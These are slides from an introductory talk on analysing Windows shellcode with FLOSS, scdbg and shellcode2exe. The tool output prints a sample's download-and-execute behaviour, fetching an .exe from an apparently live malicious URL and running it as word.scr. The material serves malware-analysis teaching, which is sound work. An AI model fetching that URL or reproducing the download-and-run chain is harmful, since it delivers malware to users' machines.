Shellcode Analysis 101

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Outline

- Background
- Approaches/Demos
- Q&A



What is shellcode and why do we care?

- A blob of executable code goal is to get the program to jump there and execute the attackers code
- First used by exploit developers, now seen more widely as a general malware stage
- We're going to focus on Windows, but concepts work in other operating systems



What do we do with it?

- Static Properties
- Behavioral Analysis
 - Emulate execution
 - Execute it
- Code Analysis
 - Statically examine I rarely do this
 - Debug it



strings

```
jac@xubu64:~/git/VS_LIBEMU$ floss -s payment-out.bin
FLOSS static ASCII strings
8GetPu
rocAu
ddreu
Qh.scrhwordSRQharyAhLibrhLoadTS
YPQf
llQhon.dhurlmT
eAQ3
hoFilhoadThownlhURLDTP
T$$QQR
Z[SRChxeca
hWinETS
Z[hessa
ahProchExitTS
http://rtnlogistics.com/nestom22.exe
FLOSS static UTF-16 strings
FLOSS decoded 0 strings
FLOSS extracted 0 stackstrings
Finished execution after 0.000443 seconds
```

scdbg

```
jac@xubu64:~/git/VS LIBEMU$ wine scdbg -f payment-out.bin -r
Loaded 141 bytes from file payment-out.bin
Memory monitor enabled..
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40107e GetProcAddress(LoadLibraryA)
401096 LoadLibraryA(urlmon.dll)
4010bf GetProcAddress(URLDownloadToFileA)
4010cd URLDownloadToFileA(http://rtnlogistics.com/nestom22.exe, word.scr)
4010e9 GetProcAddress(WinExec)
4010f2 WinExec(word.scr)
40110f GetProcAddress(ExitProcess)
401111 ExitProcess(1953069125)
Stepcount 2182
Analysis report:
        Uses peb.InMemoryOrder List
Signatures Found: None
Memory Monitor Log:
        *PEB (fs30) accessed at 0x401008
        peb.InMemoryOrderModuleList accessed at 0x40100f
```



shellcode2exe.bat

```
jac@xubu64:~/git/shellcode2exe$ wine cmd /c "shellcode2exe.bat 32 shellcode.malicious foo.exe"
Volume in drive Z has no label.
Volume Serial Number is 0000-0000

Directory of Z:\home\jac\git\shellcode2exe
6/4/2020 8:50 PM 1,536 foo.exe
1 file 1,536 bytes
0 directories 8,649,629,696 bytes free
```



Demos





Questions?





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